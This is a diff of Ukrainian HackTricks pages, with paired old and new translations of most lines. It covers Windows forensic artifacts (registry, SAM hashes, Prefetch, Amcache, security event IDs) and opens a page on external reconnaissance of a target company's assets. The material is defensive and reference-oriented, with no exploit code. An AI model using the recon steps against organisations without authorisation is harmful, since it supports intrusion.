* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Знову ж таки, має GUI, що дозволяє навігувати через завантажений реєстр і також містить плагіни, які підкреслюють цікаву інформацію всередині завантаженого реєстру.
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Інша GUI програма, здатна витягувати важливу інформацію з завантаженого реєстру.
### Відновлення видаленого елементу
### Відновлення видаленого елемента
Коли ключ видаляється, він позначається як такий, але до тих пір, поки простір, який він займає, не буде потрібний, він не буде видалений. Тому, використовуючи інструменти, такі як **Registry Explorer**, можливо відновити ці видалені ключі.
Коли ключ видаляється, він позначається як такий, але поки простір, який він займає, не буде потрібен, він не буде видалений. Тому, використовуючи інструменти, такі як **Registry Explorer**, можливо відновити ці видалені ключі.
### Час останньої зміни
### Last Write Time
Кожен ключ-значення містить **відмітку часу**, що вказує на останній раз, коли він був змінений.
Кожен Key-Value містить **часову мітку**, що вказує на останній раз, коли він був змінений.
### SAM
Файл/гілка **SAM** містить **хеші паролів користувачів, груп та користувачів** системи.
Файл/хвіст **SAM** містить **користувачів, групи та хеші паролів користувачів** системи.
У `SAM\Domains\Account\Users` можна отримати ім'я користувача, RID, останній вхід, останній невдалий вхід, лічильник входів, політику паролю та дату створення облікового запису. Для отримання **хешів** також **потрібен** файл/гілка **SYSTEM**.
У `SAM\Domains\Account\Users` ви можете отримати ім'я користувача, RID, останній вхід, останній невдалий вхід, лічильник входів, політику паролів та коли був створений обліковий запис. Щоб отримати **хеші**, вам також **потрібен** файл/хвіст **SYSTEM**.
### Цікаві записи в реєстрі Windows
@ -282,103 +285,103 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
### Основні процеси Windows
У [цьому пості](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) ви можете дізнатися про загальні процеси Windows для виявлення підозрілих поведінок.
У [цьому пості](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) ви можете дізнатися про загальні процеси Windows для виявлення підозрілої поведінки.
### Останні програми Windows
У реєстрі `NTUSER.DAT` за шляхом `Software\Microsoft\Current Version\Search\RecentApps` можна знайти підключі з інформацією про **виконану програму**, **останній час** її виконання та **кількість разів**, коли вона була запущена.
Всередині реєстру `NTUSER.DAT` за шляхом `Software\Microsoft\Current Version\Search\RecentApps` ви можете знайти підключі з інформацією про **виконаний додаток**, **останній раз**, коли він був виконаний, та **кількість разів**, коли він був запущений.
### BAM (Модератор фонової активності)
Ви можете відкрити файл `SYSTEM` за допомогою редактора реєстру та в шляху `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` знайти інформацію про **програми, виконані кожним користувачем** (зверніть увагу на `{SID}` в шляху) та **час** їх виконання (час знаходиться у значенні даних реєстру).
Ви можете відкрити файл `SYSTEM` за допомогою редактора реєстру, і всередині шляху `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` ви можете знайти інформацію про **додатки, виконані кожним користувачем** (зверніть увагу на `{SID}` у шляху) та **коли** вони були виконані (час знаходиться всередині значення Data реєстру).
### Windows Prefetch
Попереднє завантаження - це техніка, яка дозволяє комп'ютеру тихо **завантажувати необхідні ресурси для відображення вмісту**, до якого користувач **може звернутися у найближчому майбутньому**, щоб ресурси можна було отримати швидше.
Prefetching - це техніка, яка дозволяє комп'ютеру безшумно **отримувати необхідні ресурси, потрібні для відображення вмісту**, до якого користувач **може отримати доступ у найближчому майбутньому**, щоб ресурси могли бути доступні швидше.
Windows Prefetch полягає в створенні **кешів виконаних програм**, щоб мати можливість завантажувати їх швидше. Ці кеші створюються у вигляді файлів `.pf` за шляхом: `C:\Windows\Prefetch`. Є обмеження на 128 файлів у XP/VISTA/WIN7 та 1024 файлів у Win8/Win10.
Prefetch Windows полягає у створенні **кешів виконаних програм**, щоб мати можливість завантажувати їх швидше. Ці кеші створюються як `.pf` файли всередині шляху: `C:\Windows\Prefetch`. Існує обмеження в 128 файлів у XP/VISTA/WIN7 та 1024 файлів у Win8/Win10.
Ім'я файлу створюється як `{program_name}-{hash}.pf` (хеш базується на шляху та аргументах виконуваного файлу). У W10 ці файли стиснуті. Зверніть увагу, що саме наявність файлу вказує на те, що **програма була виконана** у певний момент.
Ім'я файлу створюється як `{program_name}-{hash}.pf` (хеш базується на шляху та аргументах виконуваного файлу). У W10 ці файли стискаються. Зверніть увагу, що сама наявність файлу вказує на те, що **програма була виконана** в якийсь момент.
Файл `C:\Windows\Prefetch\Layout.ini` містить **назви тек файлів, які попередньо завантажувалися**. Цей файл містить **інформацію про кількість виконань**, **дати** виконання та **файли**, **відкриті** програмою.
Файл `C:\Windows\Prefetch\Layout.ini` містить **імена папок файлів, які були попередньо завантажені**. Цей файл містить **інформацію про кількість виконань**, **дати** виконання та **файли**, **відкриті** програмою.
Для перегляду цих файлів можна використовувати інструмент [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
Щоб перевірити ці файли, ви можете використовувати інструмент [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
```bash
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
```
![](<../../../.gitbook/assets/image (487).png>)
![](<../../../.gitbook/assets/image (315).png>)
### Суперпередзавантаження
### Superprefetch
**Суперпередзавантаження** має той самий мета, що і передзавантаження, **завантажує програми швидше**, передбачаючи, що буде завантажено наступним. Однак воно не заміщує службу передзавантаження.\
Ця служба буде генерувати базові файли в `C:\Windows\Prefetch\Ag*.db`.
**Superprefetch** має ту ж мету, що й prefetch, **швидше завантажувати програми**, передбачаючи, що буде завантажено наступним. Однак він не замінює службу prefetch.\
Ця служба генерує файли бази даних у `C:\Windows\Prefetch\Ag*.db`.
У цих базах даних ви можете знайти **ім'я** **програми**, **кількість** **виконань**, **відкриті файли**, **обсяг доступу**, **повний шлях**, **проміжки часу** та **відмітки часу**.
У цих базах даних ви можете знайти **ім'я** **програми**, **кількість** **виконань**, **відкриті** **файли**, **обсяг** **доступу**, **повний** **шлях**, **часові рамки** та **мітки часу**.
Ви можете отримати доступ до цієї інформації за допомогою інструменту [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
Ви можете отримати цю інформацію, використовуючи інструмент [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
### SRUM
**Монітор використання системних ресурсів** (SRUM) **відстежує** **ресурси**, **використані процесом**. Він з'явився в W8 і зберігає дані в базі даних ESE, розташованій в `C:\Windows\System32\sru\SRUDB.dat`.
**Монітор використання системних ресурсів** (SRUM) **моніторить** **ресурси**, **споживані** **процесом**. Він з'явився в W8 і зберігає дані в базі даних ESE, розташованій у `C:\Windows\System32\sru\SRUDB.dat`.
Він надає наступну інформацію:
Він надає таку інформацію:
* Ідентифікатор додатку та шлях
* AppID та шлях
* Користувач, який виконав процес
* Відправлені байти
* Отримані байти
* Мережевий інтерфейс
* Тривалість підключення
* Мережева інтерфейс
* Тривалість з'єднання
* Тривалість процесу
Ця інформація оновлюється кожні 60 хвилин.
Ви можете отримати дані з цього файлу за допомогою інструменту [**srum\_dump**](https://github.com/MarkBaggett/srum-dump).
Ви можете отримати дані з цього файлу, використовуючи інструмент [**srum\_dump**](https://github.com/MarkBaggett/srum-dump).
```bash
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
```
### AppCompatCache (ShimCache)
**AppCompatCache**, також відомий як **ShimCache**, є частиною **Бази даних сумісності програм**, розробленої **Microsoft** для вирішення проблем сумісності програм. Цей компонент системи записує різні частини метаданих файлів, до яких входять:
**AppCompatCache**, також відомий як **ShimCache**, є частиною **Бази даних сумісності додатків**, розробленої **Microsoft** для вирішення проблем сумісності додатків. Цей системний компонент записує різні метадані файлів, які включають:
- Повний шлях до файлу
- Розмір файлу
- Час останньої модифікації у **$Standard\_Information** (SI)
- Час останнього оновлення ShimCache
- Прапорець виконання процесу
* Повний шлях до файлу
* Розмір файлу
* Час останньої модифікації під **$Standard\_Information** (SI)
* Час останнього оновлення ShimCache
* Прапор виконання процесу
Такі дані зберігаються в реєстрі за конкретними місцями в залежності від версії операційної системи:
Такі дані зберігаються в реєстрі за певними місцями в залежності від версії операційної системи:
- Для XP дані зберігаються в `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` з можливістю 96 записів.
- Для Server 2003, а також для версій Windows 2008, 2012, 2016, 7, 8 та 10, шлях зберігання - `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, з розміщенням відповідно 512 та 1024 записів.
* Для XP дані зберігаються за адресою `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` з ємністю для 96 записів.
* Для Server 2003, а також для версій Windows 2008, 2012, 2016, 7, 8 і 10, шлях зберігання - `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, що вміщує 512 і 1024 записів відповідно.
Для аналізу збереженої інформації рекомендується використовувати [інструмент AppCompatCacheParser](https://github.com/EricZimmerman/AppCompatCacheParser).
Для парсингу збереженої інформації рекомендується використовувати [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser).
![](<../../../.gitbook/assets/image (488).png>)
![](<../../../.gitbook/assets/image (75).png>)
### Amcache
Файл **Amcache.hve** суттєво є реєстром, який реєструє деталі про програми, які були виконані на системі. Зазвичай він знаходиться за адресою `C:\Windows\AppCompat\Programas\Amcache.hve`.
Файл **Amcache.hve** є по суті гніздом реєстру, яке фіксує деталі про програми, що виконувалися в системі. Зазвичай його можна знайти за адресою `C:\Windows\AppCompat\Programas\Amcache.hve`.
Цей файл відомий тим, що зберігає записи останніх виконаних процесів, включаючи шляхи до виконавчих файлів та їх хеші SHA1. Ця інформація є надзвичайно важливою для відстеження діяльності програм на системі.
Цей файл відзначається тим, що зберігає записи нещодавно виконаних процесів, включаючи шляхи до виконуваних файлів та їх SHA1 хеші. Ця інформація є безцінною для відстеження активності додатків у системі.
Для вилучення та аналізу даних з **Amcache.hve** можна використовувати [інструмент AmcacheParser](https://github.com/EricZimmerman/AmcacheParser). Наведена нижче команда є прикладом використання AmcacheParser для аналізу вмісту файлу **Amcache.hve** та виведення результатів у форматі CSV:
Для витягування та аналізу даних з **Amcache.hve** можна використовувати [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool. Наступна команда є прикладом того, як використовувати AmcacheParser для парсингу вмісту файлу **Amcache.hve** та виводу результатів у форматі CSV:
```bash
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
```
Серед згенерованих файлів CSV особливу увагу слід звернути на `Amcache_Unassociated file entries` через багату інформацію, яку він надає про не пов'язані файлові записи.
Серед згенерованих CSV файлів, `Amcache_Unassociated file entries` є особливо примітним через багатий інформаційний зміст про неасоційовані записи файлів.
Найцікавіший файл CVS, який генерується, - це `Amcache_Unassociated file entries`.
Найцікавіший згенерований CVS файл - це `Amcache_Unassociated file entries`.
### RecentFileCache
Цей артефакт можна знайти лише в W7 за адресою `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` і містить інформацію про останнє виконання деяких бінарних файлів.
Цей артефакт можна знайти лише в W7 за адресою `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` і він містить інформацію про нещодавнє виконання деяких бінарних файлів.
Ви можете використовувати інструмент [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) для аналізу файлу.
Ви можете використовувати інструмент [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) для парсингу файлу.
### Заплановані завдання
Ви можете витягти їх з `C:\Windows\Tasks` або `C:\Windows\System32\Tasks` і читати їх у форматі XML.
Ви можете витягти їх з `C:\Windows\Tasks` або `C:\Windows\System32\Tasks` і прочитати їх у форматі XML.
### Служби
@ -387,111 +390,131 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
### **Windows Store**
Встановлені програми можна знайти в `\ProgramData\Microsoft\Windows\AppRepository\`\
У цьому репозиторії є **журнал** з **кожною встановленою програмою** в системі всередині бази даних **`StateRepository-Machine.srd`**.
Цей репозиторій має **лог** з **кожною встановленою** в системі програмою в базі даних **`StateRepository-Machine.srd`**.
У таблиці Application цієї бази даних можна знайти стовпці: "Ідентифікатор програми", "Номер пакету" та "Назва відображення". Ці стовпці містять інформацію про передвстановлені та встановлені програми, і можна визначити, чи були деякі програми видалені, оскільки ідентифікатори встановлених програм повинні бути послідовними.
У таблиці додатків цієї бази даних можна знайти стовпці: "Application ID", "PackageNumber" та "Display Name". Ці стовпці містять інформацію про попередньо встановлені та встановлені програми, і їх можна знайти, якщо деякі програми були видалені, оскільки ID встановлених програм повинні бути послідовними.
Також можна **знайти встановлену програму** за шляхом реєстру: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
І **видалені програми** в: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
Також можливо **знайти встановлену програму** в реєстрі за адресою: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
А **видалені** **програми** в: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
## Події Windows
Інформація, яка з'являється в подіях Windows:
Інформація, що з'являється в подіях Windows, включає:
* Що сталося
* Мітка часу (UTC + 0)
* Часова мітка (UTC + 0)
* Залучені користувачі
* Залучені хости (ім'я хоста, IP)
* Активи, до яких зверталися (файли, теки, принтери, служби)
* Доступні активи (файли, папки, принтери, служби)
Журнали знаходяться в `C:\Windows\System32\config` до Windows Vista і в `C:\Windows\System32\winevt\Logs` після Windows Vista. До Windows Vista журнали подій були у бінарному форматі, а після них вони у **форматі XML** та використовують розширення **.evtx**.
Логи розташовані в `C:\Windows\System32\config` до Windows Vista і в `C:\Windows\System32\winevt\Logs` після Windows Vista. До Windows Vista журнали подій були в бінарному форматі, а після - у **XML форматі** і використовують розширення **.evtx**.
Місце розташування файлів подій можна знайти в реєстрі SYSTEM за адресою **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
Розташування файлів подій можна знайти в реєстрі SYSTEM у **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
Їх можна візуалізувати з Windows Event Viewer (**`eventvwr.msc`**) або іншими інструментами, такими як [**Event Log Explorer**](https://eventlogxp.com) **або** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
Їх можна візуалізувати з переглядача подій Windows (**`eventvwr.msc`**) або за допомогою інших інструментів, таких як [**Event Log Explorer**](https://eventlogxp.com) **або** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
## Розуміння журналювання подій безпеки Windows
Події доступу записуються у файл конфігурації безпеки, розташований за адресою `C:\Windows\System32\winevt\Security.evtx`. Розмір цього файлу можна налаштувати, і коли досягнуто його межі, старі події перезаписуються. Записані події включають вхід та вихід користувачів, дії користувачів та зміни налаштувань безпеки, а також доступ до файлів, тек та спільних активів.
Події доступу записуються у файлі конфігурації безпеки, розташованому за адресою `C:\Windows\System32\winevt\Security.evtx`. Розмір цього файлу регулюється, і коли його ємність досягається, старі події перезаписуються. Записані події включають входи та виходи користувачів, дії користувачів і зміни налаштувань безпеки, а також доступ до файлів, папок і спільних активів.
### Ключові ідентифікатори подій для аутентифікації користувача:
### Ключові ID подій для автентифікації користувачів:
- **EventID 4624**: Вказує на успішну аутентифікацію користувача.
- **EventID 4625**: Сигналізує про невдачу аутентифікації.
- **EventIDs 4634/4647**: Представляють події виходу користувача з системи.
- **EventID 4672**: Позначає вхід з адміністративними привілеями.
* **EventID 4624**: Вказує на успішну автентифікацію користувача.
* **EventID 4625**: Сигналізує про невдачу автентифікації.
* **EventIDs 4634/4647**: Представляють події виходу користувача.
* **EventID 4672**: Позначає вхід з адміністративними привілеями.
#### Підтипи в межах EventID 4634/4647:
#### Підтипи в EventID 4634/4647:
- **Інтерактивний (2)**: Прямий вхід користувача.
- **Мережевий (3)**: Доступ до спільних тек.
- **Пакетний (4)**: Виконання пакетних процесів.
- **Службовий (5)**: Запуск служб.
- **Проксі (6)**: Аутентифікація проксі.
- **Розблокування (7)**: Розблокування екрану за допомогою пароля.
- **Мережевий текст (8)**: Передача пароля у відкритому тексті, часто з IIS.
- **Нові облікові дані (9)**: Використання інших облікових даних для доступу.
- **Віддалений інтерактивний (10)**: Віддалений вхід через робочий стіл або служби терміналів.
- **Кешовий інтерактивний (11)**: Вхід з кешовими обліковими даними без звертання до контролера домену.
- **Кешовий віддалений інтерактивний (12)**: Віддалений вхід з кешовими обліковими даними.
- **Кешове розблокування (13)**: Розблокування з кешовими обліковими даними.
* **Interactive (2)**: Прямий вхід користувача.
* **Network (3)**: Доступ до спільних папок.
* **Batch (4)**: Виконання пакетних процесів.
* **Service (5)**: Запуск служби.
* **Proxy (6)**: Проксі-автентифікація.
* **Unlock (7)**: Розблокування екрана з паролем.
* **Network Cleartext (8)**: Передача пароля у відкритому тексті, часто з IIS.
* **New Credentials (9)**: Використання інших облікових даних для доступу.
* **Remote Interactive (10)**: Вхід через віддалений робочий стіл або термінальні служби.
* **Cache Interactive (11)**: Вхід з кешованими обліковими даними без контакту з контролером домену.
* **Cache Remote Interactive (12)**: Віддалений вхід з кешованими обліковими даними.
* **Cached Unlock (13)**: Розблокування з кешованими обліковими даними.
#### Коди статусу та підкоди статусу для EventID 4625:
#### Код статусу та підстатусу для EventID 4625:
- **0xC0000064**: Ім'я користувача не існує - Може вказувати на атаку переліку імен користувачів.
- **0xC000006A**: Правильне ім'я користувача, але неправильний пароль - Можлива спроба вгадування або перебору пароля.
- **0xC0000234**: Обліковий запис користувача заблоковано - Може виникнути після атаки перебору з багатьма невдалими входами.
- **0xC0000072**: Обліковий запис вимкнено - Несанкціоновані спроби доступу до вимкнених облікових записів.
- **0xC000006F**: Вхід поза дозволеним часом - Вказує на спроби доступу поза встановленими годинами входу, можливий ознака несанкціонованого доступу.
- **0xC0000070**: Порушення обмежень робочої станції - Може бути спробою входу з недозволеного місця.
- **0xC0000193**: Термін дії облікового запису закінчився - Спроби доступу зі збіглими термінами дії облікових записів.
- **0xC0000071**: Закінчився термін дії пароля - Спроби входу з застарілими паролями.
- **0xC0000133**: Проблеми синхронізації часу - Великі розбіжності часу між клієнтом та сервером можуть свідчити про більш складні атаки, такі як передача квитка.
- **0xC0000224**: Обов'язкова зміна пароля - Часті обов'язкові зміни можуть свідчити про спробу підірвати безпеку облікового запису.
- **0xC0000225**: Вказує на помилку системи, а не на проблему безпеки.
- **0xC000015b**: Відмова від типу входу - Спроба доступу з недозволеним типом входу, наприклад, користувач, який намагається виконати вхід служби.
* **0xC0000064**: Ім'я користувача не існує - Може вказувати на атаку на перерахування імен користувачів.
* **0xC000006A**: Правильне ім'я користувача, але неправильний пароль - Можлива спроба вгадування пароля або атака методом грубої сили.
* **0xC0000234**: Обліковий запис користувача заблоковано - Може бути наслідком атаки методом грубої сили, що призвела до кількох невдалих входів.
* **0xC0000072**: Обліковий запис вимкнено - Незаконні спроби доступу до вимкнених облікових записів.
* **0xC000006F**: Вхід за межами дозволеного часу - Вказує на спроби доступу поза встановленими годинами входу, можливий знак незаконного доступу.
* **0xC0000070**: Порушення обмежень робочої станції - Може бути спробою входу з несанкціонованого місця.
* **0xC0000193**: Термін дії облікового запису закінчився - Спроби доступу з простроченими обліковими записами користувачів.
* **0xC0000071**: Прострочений пароль - Спроби входу з застарілими паролями.
* **0xC0000133**: Проблеми синхронізації часу - Великі розбіжності в часі між клієнтом і сервером можуть вказувати на більш складні атаки, такі як pass-the-ticket.
* **0xC0000224**: Потрібна обов'язкова зміна пароля - Часті обов'язкові зміни можуть вказувати на спробу дестабілізувати безпеку облікового запису.
* **0xC0000225**: Вказує на системну помилку, а не на проблему безпеки.
* **0xC000015b**: Відмовлено в типі входу - Спроба доступу з несанкціонованим типом входу, наприклад, користувач намагається виконати вхід служби.
#### EventID 4616:
- **Зміна часу**: Зміна системного часу, може ускладнити аналіз подій.
#### EventID 6005 та 6006:
- **Запуск та вимкнення системи**: EventID 6005 вказує на запуск системи, а EventID 6006 позначає її вимкнення.
* **Зміна часу**: Модифікація системного часу, може спотворити хронологію подій.
#### EventID 6005 і 6006:
* **Запуск і вимкнення системи**: EventID 6005 вказує на запуск системи, тоді як EventID 6006 позначає її вимкнення.
#### EventID 1102:
- **Видалення журналу**: Очищення журналів безпеки, що часто є сигналом приховування злочинних дій.
#### EventIDs для відстеження USB-пристроїв:
- **20001 / 20003 / 10000**: Перше підключення USB-пристрою.
- **10100**: Оновлення драйвера USB.
- **EventID 112**: Час вставлення USB-пристрою.
* **Видалення журналу**: Очищення журналів безпеки, що часто є тривожним знаком для приховування незаконної діяльності.
Для практичних прикладів симуляції цих типів входу та можливостей витягування облікових даних див. [докладний посібник Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
#### ID подій для відстеження USB-пристроїв:
Деталі подій, включаючи коди статусу та підкоди статусу, надають додаткові відомості про причини подій, особливо помітні в Event ID 4625.
* **20001 / 20003 / 10000**: Перше підключення USB-пристрою.
* **10100**: Оновлення драйвера USB.
* **EventID 112**: Час вставлення USB-пристрою.
Для практичних прикладів симуляції цих типів входу та можливостей витоку облікових даних зверніться до [докладного посібника Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
Деталі подій, включаючи коди статусу та підстатусу, надають додаткову інформацію про причини подій, особливо помітні в Event ID 4625.
### Відновлення подій Windows
Для підвищення шансів відновлення видалених подій Windows рекомендується вимкнути підозрілий комп'ютер, відключивши його безпосередньо. Рекомендовано використовувати інструмент відновлення **Bulk_extractor**, який вказує розширення `.evtx`, для спроби відновлення таких подій.
Щоб підвищити шанси на відновлення видалених подій Windows, рекомендується вимкнути підозрілий комп'ютер, безпосередньо його відключивши. **Bulk\_extractor**, інструмент відновлення, що вказує на розширення `.evtx`, рекомендується для спроби відновлення таких подій.
### Виявлення загальних атак через події Windows
Для докладного посібника з використанням ідентифікаторів подій Windows для виявлення загальних кібератак відвідайте [Red Team Recipe](https://redteamrecipe.com/event-codes/).
Для всебічного посібника з використання Windows Event IDs для виявлення загальних кібер атак відвідайте [Red Team Recipe](https://redteamrecipe.com/event-codes/).
#### Атаки методом перебору
#### Атаки методом грубої сили
Визначаються за декількома записами EventID 4625, за якими слідує EventID 4624 у разі успіху атаки.
Визначаються за кількома записами EventID 4625, за якими слідує EventID 4624, якщо атака успішна.
#### Зміна часу
Фіксується за допомогою EventID 4616, зміни системного часу можуть ускладнити судово-експертний аналіз.
Записується за допомогою EventID 4616, зміни системного часу можуть ускладнити судово-медичний аналіз.
#### Відстеження USB-пристроїв
Корисні System EventIDs для відстеження USB-пристроїв включають 20001/20003/10000 для початкового використання, 10100 для оновлення драйверів та EventID 112 від DeviceSetupManager для відміток часу вставлення.
#### Події включення системи
Корисні системні EventIDs для відстеження USB-пристроїв включають 20001/20003/10000 для початкового використання, 10100 для оновлень драйверів і EventID 112 від DeviceSetupManager для часових міток вставлення.
Подія з ідентифікатором 6005 вказує на запуск системи, тоді як подія з ідентифікатором 6006 позначає вимкнення.
#### Події живлення системи
#### Видалення журналів
EventID 6005 вказує на запуск системи, тоді як EventID 6006 позначає вимкнення.
Подія безпеки з ідентифікатором 1102 сигналізує про видалення журналів, що є критичною подією для судової експертизи.
#### Видалення журналу
EventID 1102 безпеки сигналізує про видалення журналів, критична подія для судово-медичного аналізу.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

File diff suppressed because it is too large Load diff

View file

@ -1,58 +1,59 @@
# Зовнішня методологія реконструкції
# External Recon Methodology
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо вас цікавить **кар'єра в хакінгу** та взламати невзламне - **ми шукаємо співробітників!** (_вимагається вільне володіння польською мовою, як письмово, так і усно_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в усній та письмовій формі_).
{% embed url="https://www.stmcyber.com/careers" %}
## Виявлення активів
## Assets discoveries
> Вам сказали, що все, що належить якій-небудь компанії, входить в область дослідження, і ви хочете з'ясувати, що саме належить цій компанії.
> Отже, вам сказали, що все, що належить якійсь компанії, знаходиться в межах сфери, і ви хочете з'ясувати, що насправді належить цій компанії.
Метою цієї фази є отримання всіх **компаній, які належать основній компанії**, а потім всіх **активів** цих компаній. Для цього ми збираємося:
Мета цього етапу - отримати всі **компанії, що належать головній компанії**, а потім всі **активи** цих компаній. Для цього ми будемо:
1. Знайти придбання основної компанії, це дозволить нам визначити компанії в області дослідження.
2. Знайти ASN (якщо є) кожної компанії, це дозволить нам отримати діапазони IP-адрес, які належать кожній компанії.
3. Використовувати зворотні пошукові запити whois для пошуку інших записів (назв організацій, доменів...) пов'язаних з першим (це можна робити рекурсивно).
4. Використовувати інші техніки, такі як фільтри shodan `org` та `ssl`, для пошуку інших активів (трюк з `ssl` можна виконувати рекурсивно).
1. Знайти придбання головної компанії, це дасть нам компанії в межах сфери.
2. Знайти ASN (якщо є) кожної компанії, це дасть нам діапазони IP, що належать кожній компанії.
3. Використовувати зворотні whois запити для пошуку інших записів (імен організацій, доменів...) пов'язаних з першим (це можна робити рекурсивно).
4. Використовувати інші техніки, такі як фільтри shodan `org` та `ssl`, щоб шукати інші активи (трик `ssl` можна робити рекурсивно).
### **Придбання**
### **Acquisitions**
По-перше, нам потрібно знати, які **інші компанії належать основній компанії**.\
Один з варіантів - відвідати [https://www.crunchbase.com/](https://www.crunchbase.com), **знайти** **основну компанію** та **клацнути** на "**придбання**". Там ви побачите інші компанії, які були придбані основною.\
Інший варіант - відвідати сторінку **Wikipedia** основної компанії та шукати **придбання**.
По-перше, нам потрібно знати, які **інші компанії належать головній компанії**.\
Один з варіантів - відвідати [https://www.crunchbase.com/](https://www.crunchbase.com), **шукати** **головну компанію** і **натиснути** на "**придбання**". Там ви побачите інші компанії, придбані головною.\
Інший варіант - відвідати сторінку **Вікіпедії** головної компанії та шукати **придбання**.
> Ок, на цьому етапі ви повинні знати всі компанії в області дослідження. Давайте з'ясуємо, як знайти їх активи.
